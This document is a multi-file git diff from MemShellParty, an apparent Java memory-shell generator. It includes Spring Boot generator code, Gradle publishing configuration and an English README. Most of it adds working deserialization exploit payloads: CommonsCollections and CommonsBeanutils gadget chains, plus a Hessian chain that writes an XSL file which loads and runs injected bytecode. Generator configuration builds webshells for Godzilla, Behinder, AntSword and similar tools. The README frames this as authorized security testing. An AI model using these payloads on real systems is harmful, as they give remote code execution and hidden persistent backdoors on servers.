private String getLatestGithubRelease() {
try {
String latestVersion = tryFetchRelease("https://api.github.com");
if (latestVersion != null) {
return latestVersion;
}
latestVersion = tryFetchRelease("https://gh.llkk.cc/https://api.github.com");
if (latestVersion != null) {
return latestVersion;
}
} catch (Exception ignored) {
}
return version;
}
private String tryFetchRelease(String baseUrl) {
String apiUrl = String.format("%s/repos/%s/%s/releases", baseUrl, "ReaJason", "MemShellParty");
ResponseEntity<List<Map<String, Object>>> response = restTemplate.exchange(
apiUrl,
HttpMethod.GET,
null,
new ParameterizedTypeReference<>() {
}
);
if (response.getStatusCode() == HttpStatus.OK && response.getBody() != null) {
List<Map<String, Object>> body = response.getBody();
for (Map<String, Object> map : body) {
String targetCommitish = (String) map.get("target_commitish");
Boolean prerelease = (Boolean) map.get("prerelease");
Boolean draft = (Boolean) map.get("draft");
if ("master".equals(targetCommitish) && !prerelease && !draft) {
String tagName = (String) map.get("name");
return tagName.startsWith("v") ? tagName.substring(1) : tagName;
}
}
}
return null;
}
}
@@ -1,8 +1,10 @@
package com.reajason.javaweb.boot.dto;
import com.reajason.javaweb.memshell.Packers;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.packer.Packers;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.Data;
import org.apache.commons.lang3.StringUtils;
/**
* @author ReaJason
@@ -25,37 +27,49 @@ public class GenerateRequest {
private String antSwordPass;
private String headerName;
private String headerValue;
private String shellClassBase64;
private String encryptor;
}
public ShellToolConfig parseShellToolConfig() {
return switch (shellConfig.getShellTool()) {
case Godzilla -> GodzillaConfig.builder()
.shellClassName(shellToolConfig.getShellClassName())
.pass(shellToolConfig.getGodzillaPass())
.key(shellToolConfig.getGodzillaKey())
.pass(StringUtils.defaultIfBlank(shellToolConfig.getGodzillaPass(), CommonUtil.getRandomString(8)))
.key(StringUtils.defaultIfBlank(shellToolConfig.getGodzillaKey(), CommonUtil.getRandomString(8)))
.headerName(shellToolConfig.getHeaderName())
.headerValue(shellToolConfig.getHeaderValue())
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
.build();
case Behinder -> BehinderConfig.builder()
.shellClassName(shellToolConfig.getShellClassName())
.pass(shellToolConfig.getBehinderPass())
.pass(StringUtils.defaultIfBlank(shellToolConfig.getBehinderPass(), CommonUtil.getRandomString(8)))
.headerName(shellToolConfig.getHeaderName())
.headerValue(shellToolConfig.getHeaderValue())
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
.build();
case Command -> CommandConfig.builder()
.shellClassName(shellToolConfig.getShellClassName())
.paramName(shellToolConfig.getCommandParamName())
.paramName(StringUtils.defaultIfBlank(shellToolConfig.getCommandParamName(), CommonUtil.getRandomString(8)))
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
.build();
case Suo5 -> Suo5Config.builder()
.shellClassName(shellToolConfig.getShellClassName())
.headerName(shellToolConfig.getHeaderName())
.headerValue(shellToolConfig.getHeaderValue())
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
.build();
case AntSword -> AntSwordConfig.builder()
case AntSword -> AntSwordConfig.builder()
.shellClassName(shellToolConfig.getShellClassName())
.pass(shellToolConfig.getAntSwordPass())
.pass(StringUtils.defaultIfBlank(shellToolConfig.getAntSwordPass(), CommonUtil.getRandomString(8)))
.headerName(shellToolConfig.getHeaderName())
.headerValue(shellToolConfig.getHeaderValue())
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
.build();
case NeoreGeorg -> NeoreGeorgConfig.builder()
.shellClassName(shellToolConfig.getShellClassName())
.headerName(shellToolConfig.getHeaderName())
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
.build();
case Custom -> CustomConfig.builder()
.shellClassBase64(shellToolConfig.getShellClassBase64())
.shellClassName(shellToolConfig.getShellClassName())
.build();
default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
};
@@ -11,7 +11,7 @@ import java.util.Map;
*/
@Data
public class Config {
private List<String> servers;
private Map<String, List<String>> servers;
private Map<String, Map<?, ?>> core;
private List<String> packers;
}
@@ -0,0 +1,15 @@
package com.reajason.javaweb.boot.entity;
import lombok.Data;
import lombok.Builder;
/**
* @author ReaJason
*/
@Data
@Builder
public class VersionInfo {
private String currentVersion;
private String latestVersion;
private boolean hasUpdate;
}
@@ -1,6 +1,5 @@
package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.boot.entity.Config;
import org.junit.jupiter.api.Test;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.context.SpringBootTest;
@@ -8,6 +7,9 @@ import org.springframework.boot.test.web.client.TestRestTemplate;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import java.util.List;
import java.util.Map;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertNotNull;
@@ -24,14 +26,31 @@ public class ConfigControllerIntegrationTest {
@Test
public void testConfigEndpoint() {
ResponseEntity<Config> response = restTemplate.getForEntity("/config", Config.class);
ResponseEntity<Map> response = restTemplate.getForEntity("/config", Map.class);
assertEquals(HttpStatus.OK, response.getStatusCode());
Config config = response.getBody();
assertNotNull(config);
assertNotNull(config.getServers());
assertNotNull(config.getCore());
assertNotNull(config.getPackers());
Map body = response.getBody();
assertNotNull(body);
}
@Test
public void testConfigServersEndpoint() {
ResponseEntity<Map> response = restTemplate.getForEntity("/config/servers", Map.class);
assertEquals(HttpStatus.OK, response.getStatusCode());
Map body = response.getBody();
assertNotNull(body);
}
@Test
public void testConfigPackersEndpoint() {
ResponseEntity<List> response = restTemplate.getForEntity("/config/packers", List.class);
assertEquals(HttpStatus.OK, response.getStatusCode());
List<String> body = response.getBody();
assertNotNull(body);
}
}
+75 -7
View File
@@ -1,15 +1,64 @@
version = project.getProperties().get("version") != "unspecified" ? version : '1.0.0'
import com.vanniktech.maven.publish.SonatypeHost
version = '1.8.0'
buildscript {
repositories {
mavenCentral()
gradlePluginPortal()
}
dependencies {
classpath 'com.vanniktech:gradle-maven-publish-plugin:0.31.0'
classpath "io.freefair.lombok:io.freefair.lombok.gradle.plugin:8.13.1"
}
}
allprojects {
if (it.name != 'bom') {
group = 'io.github.reajason'
if (it.name != 'memshell-party-bom') {
apply(plugin: 'java')
apply(plugin: 'idea')
apply(plugin: 'jacoco')
apply(plugin: 'io.freefair.lombok')
}
if (it.name != 'bom' && !it.name.startsWith("vul")) {
apply(plugin: 'com.vanniktech.maven.publish')
mavenPublishing {
publishToMavenCentral(SonatypeHost.CENTRAL_PORTAL)
signAllPublications()
coordinates("io.github.reajason", project.name, rootProject.version as String)
pom {
name = 'MemShellParty'
description = project.description
url = 'https://github.com/ReaJason/MemShellParty'
inceptionYear = '2025'
licenses {
license {
name = 'MIT'
url = 'https://spdx.org/licenses/MIT.html'
}
}
developers {
developer {
id = 'reajason'
name = 'ReaJason'
url = "https://reajason.eu.org"
}
}
scm {
connection = 'scm:git:https://github.com/ReaJason/MemShellParty.git'
developerConnection = 'scm:git:ssh://github.com/ReaJason/MemShellParty.git'
url = 'https://github.com/ReaJason/MemShellParty'
}
}
}
if (it.name != 'memshell-party-bom' && !it.name.startsWith("vul")) {
dependencies {
implementation platform(project(':bom'))
implementation platform(project(':memshell-party-bom'))
}
}
@@ -40,12 +89,31 @@ jacocoTestReport {
classDirectories.from(
fileTree('generator/build/classes/java/main') {
excludes = [
'com/reajason/javaweb/memsell/**/godzilla/**',
'com/reajason/javaweb/memsell/**/injector/**',
'com/reajason/javaweb/memsell/**/command/**',
'com/reajason/javaweb/memshell/**/godzilla/**',
'com/reajason/javaweb/memshell/**/injector/**',
'com/reajason/javaweb/memshell/**/command/**',
'com/reajason/javaweb/config/**'
]
}
)
}
}
tasks.register('publishAllToMavenCentral') {
def isSnapshot = rootProject.version.toString().endsWith('-SNAPSHOT')
if (isSnapshot) {
dependsOn ':memshell-party-bom:publishAllPublicationsToMavenCentralRepository'
dependsOn ':memshell-party-common:publishAllPublicationsToMavenCentralRepository'
dependsOn ':deserialize:publishAllPublicationsToMavenCentralRepository'
dependsOn ':memshell:publishAllPublicationsToMavenCentralRepository'
dependsOn ':memshell-java8:publishAllPublicationsToMavenCentralRepository'
dependsOn ':generator:publishAllPublicationsToMavenCentralRepository'
} else {
dependsOn ':memshell-party-bom:publishAndReleaseToMavenCentral'
dependsOn ':memshell-party-common:publishAndReleaseToMavenCentral'
dependsOn ':deserialize:publishAndReleaseToMavenCentral'
dependsOn ':memshell:publishAndReleaseToMavenCentral'
dependsOn ':memshell-java8:publishAndReleaseToMavenCentral'
dependsOn ':generator:publishAndReleaseToMavenCentral'
}
}
@@ -1,76 +0,0 @@
package com.reajason.javaweb.buddy;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.asm.AsmVisitorWrapper;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.jar.asm.MethodVisitor;
import net.bytebuddy.jar.asm.Opcodes;
import java.nio.file.Files;
import java.nio.file.Paths;
import static net.bytebuddy.matcher.ElementMatchers.named;
public class MethodSubstitutionExample {
public static class MethodReplacementMethodVisitor extends MethodVisitor {
private final String targetClassName;
public MethodReplacementMethodVisitor(MethodVisitor mv, String targetClassName) {
super(Opcodes.ASM9, mv);
this.targetClassName = targetClassName;
}
@Override
public void visitMethodInsn(int opcode, String owner, String name, String descriptor, boolean isInterface) {
if (opcode == Opcodes.INVOKESTATIC
&& owner.endsWith("ExternalClass")
&& name.equals("replacementMethod")) {
super.visitMethodInsn(Opcodes.INVOKESTATIC,
targetClassName.replace(".", "/"),
name,
descriptor,
false);
} else {
super.visitMethodInsn(opcode, owner, name, descriptor, isInterface);
}
}
}
public static class ExternalClass {
public static String externalMethod(String input) {
return "External: " + input;
}
public static String replacementMethod(String input) {
return "Replaced: " + input;
}
}
public static class TargetClass {
public String targetMethod(String input) {
System.out.println("targetMethod");
return ExternalClass.replacementMethod(input);
}
public static String replacementMethod(String input) {
return "Replaced: " + input;
}
}
public static void main(String[] args) throws Exception {
String oldClassName = TargetClass.class.getName();
String newClassName = oldClassName + "Redefinition";
DynamicType.Unloaded<TargetClass> dynamicType = new ByteBuddy()
.redefine(TargetClass.class)
.name(newClassName)
.visit(new AsmVisitorWrapper.ForDeclaredMethods().method(named("targetMethod"), (typeDescription, methodDescription, methodVisitor, context, typePool, i, i1) -> new MethodReplacementMethodVisitor(methodVisitor, newClassName)))
.make();
Files.write(Paths.get("xixi.class"), dynamicType.getBytes());
Class<?> redefinedClass = dynamicType.load(MethodSubstitutionExample.class.getClassLoader())
.getLoaded();
}
}
File diff suppressed because one or more lines are too long
+10 -31
View File
@@ -1,47 +1,26 @@
plugins {
id "io.freefair.lombok" version "8.11"
}
group = 'com.reajason.javaweb'
group = 'io.github.reajason'
description = "Java deserialize payload for MemShellParty"
version = rootProject.version
dependencies {
implementation project(":memshell-party-common")
implementation 'net.bytebuddy:byte-buddy'
implementation 'commons-beanutils:commons-beanutils:1.9.3'
implementation 'com.caucho:hessian:4.0.66'
implementation 'commons-beanutils:commons-beanutils:1.9.2'
implementation 'commons-collections:commons-collections:3.2.1'
implementation 'org.apache.commons:commons-collections4:4.0'
testImplementation platform('org.junit:junit-bom')
testImplementation 'org.junit.jupiter:junit-jupiter'
}
def runtimeJvmArgs = [
'--add-opens=java.base/java.lang=ALL-UNNAMED',
'--add-opens=java.base/java.util=ALL-UNNAMED',
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
]
tasks.withType(JavaCompile).configureEach {
options.compilerArgs += [
'--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
'--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
]
}
tasks.withType(Test).configureEach {
jvmArgs += runtimeJvmArgs
}
// For running the application
tasks.withType(JavaExec).configureEach {
jvmArgs += runtimeJvmArgs
}
java {
toolchain {
languageVersion = JavaLanguageVersion.of(11)
languageVersion = JavaLanguageVersion.of(8)
}
sourceCompatibility = JavaVersion.VERSION_1_8
targetCompatibility = JavaVersion.VERSION_1_8
}
test {
@@ -0,0 +1,24 @@
package com.reajason.javaweb.deserialize;
import com.caucho.hessian.io.Hessian2Output;
import lombok.SneakyThrows;
import java.io.ByteArrayOutputStream;
/**
* @author ReaJason
* @since 2025/2/19
*/
public class Hessian2DeserializeGenerator {
@SneakyThrows
public static byte[] generate(byte[] bytes, String className, DeserializeConfig config) {
PayloadType payloadType = config.getPayloadType();
Object obj = payloadType.getPayload().generate(bytes, className);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(bos);
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
hessian2Output.writeObject(obj);
hessian2Output.close();
return bos.toByteArray();
}
}
@@ -0,0 +1,24 @@
package com.reajason.javaweb.deserialize;
import com.caucho.hessian.io.HessianOutput;
import lombok.SneakyThrows;
import java.io.ByteArrayOutputStream;
/**
* @author ReaJason
* @since 2025/2/19
*/
public class HessianDeserializeGenerator {
@SneakyThrows
public static byte[] generate(byte[] bytes, String className, DeserializeConfig config) {
PayloadType payloadType = config.getPayloadType();
Object obj = payloadType.getPayload().generate(bytes, className);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
HessianOutput hessianOutput = new HessianOutput(bos);
hessianOutput.getSerializerFactory().setAllowNonSerializable(true);
hessianOutput.writeObject(obj);
hessianOutput.close();
return bos.toByteArray();
}
}
@@ -9,7 +9,7 @@ import java.io.ObjectOutputStream;
* @author ReaJason
* @since 2024/12/13
*/
public class DeserializeGenerator {
public class JavaDeserializeGenerator {
@SneakyThrows
public static byte[] generate(byte[] bytes, DeserializeConfig config) {
@@ -11,5 +11,18 @@ public interface Payload {
* @param bytes 恶意类字节流
* @return 序列化对象
*/
Object generate(byte[] bytes);
default Object generate(byte[] bytes) {
throw new UnsupportedOperationException();
}
/**
* 将恶意类字节流封装成序列化对象
*
* @param bytes 恶意类字节流
* @param className 恶意类名
* @return 序列化对象
*/
default Object generate(byte[] bytes, String className) {
throw new UnsupportedOperationException();
}
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.deserialize;
import com.reajason.javaweb.deserialize.payload.*;
import com.reajason.javaweb.deserialize.payload.hessian.XSLTScriptEngine;
import com.reajason.javaweb.deserialize.payload.java.*;
import lombok.Getter;
/**
@@ -17,6 +18,16 @@ public enum PayloadType {
CommonsBeanutils19(new CommonsBeanutils19()),
CommonsBeanutils110(new CommonsBeanutils110()),
/**
* CC 链
*/
CommonsCollections3(new CommonCollections3()),
CommonsCollections4(new CommonCollections4()),
/**
* Hessian XSLT write
*/
XSLTScriptEngine(new XSLTScriptEngine())
;
private final Payload payload;
@@ -1,43 +1,30 @@
package com.reajason.javaweb.deserialize;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.deserialize.utils.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.jar.asm.Opcodes;
/**
* @author ReaJason
* @since 2024/12/9
*/
public class TemplateUtils {
public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
public static Class TPL_CLASS = TemplatesImpl.class;
public static Class ABST_TRANSLET = AbstractTranslet.class;
public static Class TRANS_FACTORY = TransformerFactoryImpl.class;
static {
try {
// 兼容不同 JDK 版本
if (Boolean.parseBoolean(System.getProperty("properXalan", "false"))) {
TPL_CLASS = Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl");
ABST_TRANSLET = Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet");
TRANS_FACTORY = Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl");
}
} catch (Exception ignored) {
}
}
@SneakyThrows
public static TemplatesImpl createTemplatesImpl(byte[] bytes) {
TemplatesImpl templates = new TemplatesImpl();
byte[] fooBytes = new byte[0];
byte[] fooBytes;
try (DynamicType.Unloaded<Object> make = new ByteBuddy()
.subclass(Object.class).name("foo")
.visit(new TargetJreVersionVisitorWrapper(Opcodes.V1_6))
.make()) {
fooBytes = make.getBytes();
fooBytes = ClassBytesShrink.shrink(make.getBytes(), true);
}
Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{
@@ -0,0 +1,51 @@
package com.reajason.javaweb.deserialize.payload.hessian;
import com.reajason.javaweb.deserialize.Payload;
import com.reajason.javaweb.deserialize.utils.HessianUtils;
import com.reajason.javaweb.deserialize.utils.Reflections;
import lombok.SneakyThrows;
import javax.swing.*;
import java.util.Arrays;
import java.util.Base64;
import java.util.HashMap;
/**
* @author ReaJason
* @since 2025/2/19
*/
public class XSLTScriptEngine implements Payload {
@Override
@SneakyThrows
public Object generate(byte[] bytes, String className) {
String base64Str = Base64.getEncoder().encodeToString(bytes);
String tmpPath = "/tmp/CACHE_XML";
String xml = "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\n" +
" xmlns:se=\"http://xml.apache.org/xalan/java/javax.script.ScriptEngineManager\"\n" +
" xmlns:js=\"http://xml.apache.org/xalan/java/javax.script.ScriptEngine\">\n" +
" <xsl:template match=\"/\">\n" +
" <xsl:variable name=\"js\" select=\"&quot;var classLoader = java.lang.Thread.currentThread().getContextClassLoader();var className = '" + className + "';var base64Str = '" + base64Str + "';try { classLoader.loadClass(className).newInstance();} catch (e) { var clsString = classLoader.loadClass('java.lang.String'); var bytecode; try { var clsBase64 = classLoader.loadClass('java.util.Base64'); var clsDecoder = classLoader.loadClass('java.util.Base64$Decoder'); var decoder = clsBase64.getMethod('getDecoder').invoke(base64Clz); bytecode = clsDecoder.getMethod('decode', clsString).invoke(decoder, base64Str); } catch (ee) { try { var datatypeConverterClz = classLoader.loadClass('javax.xml.bind.DatatypeConverter'); bytecode = datatypeConverterClz.getMethod('parseBase64Binary', clsString).invoke(datatypeConverterClz, base64Str); } catch (eee) { var clazz1 = classLoader.loadClass('sun.misc.BASE64Decoder'); bytecode = clazz1.newInstance().decodeBuffer(base64Str); } } var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader'); var clsByteArray = (new java.lang.String('a').getBytes().getClass()); var clsInt = java.lang.Integer.TYPE; var defineClass = clsClassLoader.getDeclaredMethod('defineClass', [clsByteArray, clsInt, clsInt]); defineClass.setAccessible(true); var clazz = defineClass.invoke(classLoader, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length)); clazz.newInstance();}new java.io.File('" + tmpPath + "').delete()&quot;\" />\n" +
" <xsl:variable name=\"result\" select=\"js:eval(se:getEngineByName(se:new(),'js'), $js)\"/>\n" +
" <xsl:value-of select=\"$result\"/>\n" +
" </xsl:template>\n" +
"</xsl:stylesheet>\n";
UIDefaults.ProxyLazyValue writeValue = new UIDefaults.ProxyLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{tmpPath, xml.getBytes()});
Reflections.setFieldValue(writeValue, "acc", null);
UIDefaults.ProxyLazyValue processValue = new UIDefaults.ProxyLazyValue("com.sun.org.apache.xalan.internal.xslt.Process", "_main", new Object[]{new String[]{"-XT", "-XSL", "file://" + tmpPath}});
Reflections.setFieldValue(processValue, "acc", null);
HashMap<Object, Object> map1 = new HashMap<>(1);
HashMap<Object, Object> map2 = new HashMap<>(1);
HashMap<Object, Object> map3 = new HashMap<>(1);
HashMap<Object, Object> map4 = new HashMap<>(1);
map1.put("a", new UIDefaults(new Object[]{"abc", writeValue}));
map2.put("a", new UIDefaults(new Object[]{"abc", writeValue}));
map3.put("b", new UIDefaults(new Object[]{"ccc", processValue}));
map4.put("b", new UIDefaults(new Object[]{"ccc", processValue}));
return HessianUtils.toMap(Arrays.asList(map1, map2, map3, map4));
}
}
@@ -0,0 +1,43 @@
package com.reajason.javaweb.deserialize.payload.java;
import com.reajason.javaweb.deserialize.Payload;
import com.reajason.javaweb.deserialize.TemplateUtils;
import com.reajason.javaweb.deserialize.utils.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import lombok.SneakyThrows;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
/**
* CC11 链 from <a href="https://github.com/dota-st/JavaSec/blob/master/03-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%93%E5%8C%BA/9-CommonsCollections11/CommonsCollections11.md">CommonsCollections11.md</a>
*
* @author ReaJason
* @since 2025/4/2
*/
public class CommonCollections3 implements Payload {
@Override
@SneakyThrows
@SuppressWarnings({"rawtypes", "unchecked"})
public Object generate(byte[] bytes) {
TemplatesImpl templates = TemplateUtils.createTemplatesImpl(bytes);
InvokerTransformer invokerTransformer = new InvokerTransformer("toString", null, null);
Map innerMap = new HashMap<>();
Map outerMap = LazyMap.decorate(innerMap, invokerTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, templates);
Map expMap = new HashMap<>();
expMap.put(tiedMapEntry, "valueTest");
outerMap.remove(templates);
Reflections.setFieldValue(invokerTransformer, "iMethodName", "newTransformer");
return expMap;
}
}
@@ -0,0 +1,39 @@
package com.reajason.javaweb.deserialize.payload.java;
import com.reajason.javaweb.deserialize.Payload;
import com.reajason.javaweb.deserialize.TemplateUtils;
import com.reajason.javaweb.deserialize.utils.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import lombok.SneakyThrows;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.util.PriorityQueue;
/**
* @author ReaJason
* @since 2025/4/2
*/
public class CommonCollections4 implements Payload {
@Override
@SneakyThrows
@SuppressWarnings({"rawtypes", "unchecked"})
public Object generate(byte[] bytes) {
TemplatesImpl templates = TemplateUtils.createTemplatesImpl(bytes);
ChainedTransformer chain =
new ChainedTransformer(
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class}, new Object[]{templates}));
TransformingComparator comparator = new TransformingComparator(chain);
PriorityQueue queue = new PriorityQueue(2, comparator);
Reflections.setFieldValue(queue, "size", 2);
Reflections.setFieldValue(queue, "comparator", comparator);
return queue;
}
}
@@ -1,4 +1,4 @@
package com.reajason.javaweb.deserialize.payload;
package com.reajason.javaweb.deserialize.payload.java;
import com.reajason.javaweb.deserialize.Payload;
import com.reajason.javaweb.deserialize.TemplateUtils;
@@ -16,8 +16,6 @@ import java.net.URLClassLoader;
import java.util.Comparator;
import java.util.PriorityQueue;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
* @author ReaJason
* @since 2024/12/3
@@ -28,7 +26,7 @@ public class CommonsBeanutils110 implements Payload {
public Object generate(byte[] bytes) {
Object comparator = new ByteBuddy()
.redefine(BeanComparator.class)
.field(named("serialVersionUID"))
.defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL)
.value(1L).make()
.load(new URLClassLoader(new URL[]{}), ClassLoadingStrategy.Default.INJECTION).getLoaded()
.getDeclaredConstructor(String.class, Comparator.class)
@@ -1,4 +1,4 @@
package com.reajason.javaweb.deserialize.payload;
package com.reajason.javaweb.deserialize.payload.java;
import com.reajason.javaweb.deserialize.Payload;
import com.reajason.javaweb.deserialize.TemplateUtils;
@@ -1,4 +1,4 @@
package com.reajason.javaweb.deserialize.payload;
package com.reajason.javaweb.deserialize.payload.java;
import com.reajason.javaweb.deserialize.Payload;
import com.reajason.javaweb.deserialize.TemplateUtils;
@@ -1,4 +1,4 @@
package com.reajason.javaweb.deserialize.payload;
package com.reajason.javaweb.deserialize.payload.java;
import com.reajason.javaweb.deserialize.Payload;
import com.reajason.javaweb.deserialize.TemplateUtils;
@@ -0,0 +1,32 @@
package com.reajason.javaweb.deserialize.utils;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.List;
/**
* @author ReaJason
* @since 2025/2/19
*/
public class HessianUtils {
public static HashMap<?, ?> toMap(List<?> objs) throws Exception {
HashMap<?, ?> s = new HashMap<>(8);
Reflections.setFieldValue(s, "size", objs.size());
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException var6) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(Integer.TYPE, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, objs.size());
for (int i = 0; i < objs.size(); i++) {
Array.set(tbl, i, nodeCons.newInstance(0, objs.get(i), objs.get(i), null));
}
Reflections.setFieldValue(s, "table", tbl);
return s;
}
}
@@ -1,7 +1,11 @@
package com.reajason.javaweb.deserialize.utils;
import com.reajason.javaweb.deserialize.payload.CommonsBeanutils19;
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils19;
import sun.reflect.ReflectionFactory;
import sun.security.pkcs.PKCS9Attributes;
import java.lang.reflect.AccessibleObject;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
/**
@@ -19,7 +23,7 @@ public class Reflections {
java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
getAndSetObjectM.invoke(unsafe, CommonsBeanutils19.class, offset, module);
getAndSetObjectM.invoke(unsafe, Reflections.class, offset, module);
} catch (Exception ignored) {
}
}
@@ -47,4 +51,18 @@ public class Reflections {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
public static Object createWithoutConstructor(String classname) throws Exception {
return createWithoutConstructor(Class.forName(classname));
}
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws Exception {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws Exception {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
}
+369
View File
@@ -0,0 +1,369 @@
<h1 align="center">MemShellParty</h1>
<p align="center">English | <a href="../README.md">中文</a><br></p>
<div align="center">
[![ci-test](https://img.shields.io/github/actions/workflow/status/reajason/memshellparty/test.yaml?label=Test%20CI&branch=master&style=flat-square)](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
[![ci-release](https://img.shields.io/github/actions/workflow/status/reajason/memshellparty/release.yaml?label=Release%20CD&style=flat-square)](https://github.com/ReaJason/MemShellParty/actions/workflows/release.yaml)
</div>
<div align="center">
[![release](https://img.shields.io/github/v/release/reajason/memshellparty?label=Release&style=flat-square)](https://github.com/ReaJason/MemShellParty/releases)
[![MavenCentral](https://img.shields.io/maven-central/v/io.github.reajason/generator?label=MavenCentral&style=flat-square)](https://central.sonatype.com/artifact/io.github.reajason/generator)
[![docker-pulls](https://img.shields.io/docker/pulls/reajason/memshell-party?label=DockerHub%20Pulls&style=flat-square)](https://hub.docker.com/r/reajason/memshell-party)
</div>
<div align="center">
[![Telegram](https://img.shields.io/badge/Chat-Telegram-%2326A5E4?style=flat-square&logo=telegram&logoColor=%2326A5E4)](https://t.me/memshell)
[![OnlinePartyWebSite](https://img.shields.io/badge/WebSite-OnlineParty-%23646CFF?style=flat-square&logo=vite&logoColor=%23646CFF)](https://party.memshell.news)
</div>
> [!WARNING]
> This tool is intended only for security researchers, network administrators, and related technical personnel for authorized security testing, vulnerability assessment, and security auditing purposes. Using this tool for any unauthorized network attacks or penetration testing activities is illegal, and users are solely responsible for any resulting legal consequences.
> [!TIP]
> As I primarily focus on security product development and lack extensive real-world combat experience, please feel free to raise an issue or join the [Telegram group](https://t.me/memshell) if you have questions about usage, implementation, or adaptation requests. Let's learn and exchange ideas together!
MemShellParty is a self-hosted, visual platform for one-click generation of java memshell for common middleware and frameworks. It also aims to be a comprehensive learning platform for java memshell. In an era full of wheels, it's time to build the car and accelerate together!
What you can learn or try from this project:
1. Learn to write java memshell for common middleware and frameworks.
2. Learn to use [Testcontainers](https://testcontainers.com/) for Java application integration testing.
3. Learn to use GitHub Actions for CI/CD, write CHANGELOG, and automate Release publications via CI.
4. Try using [Byte Buddy](https://bytebuddy.net/) to generate classes and write Agents.
5. Try using Gradle to build Java projects (using platform for dependency version management, toolchain to compile JDK 6 source code even in a JDK 17 environment within the root project).
![normal_generator](../asserts/normal_generator.png)
![agent_generator](../asserts/agent_generator.png)
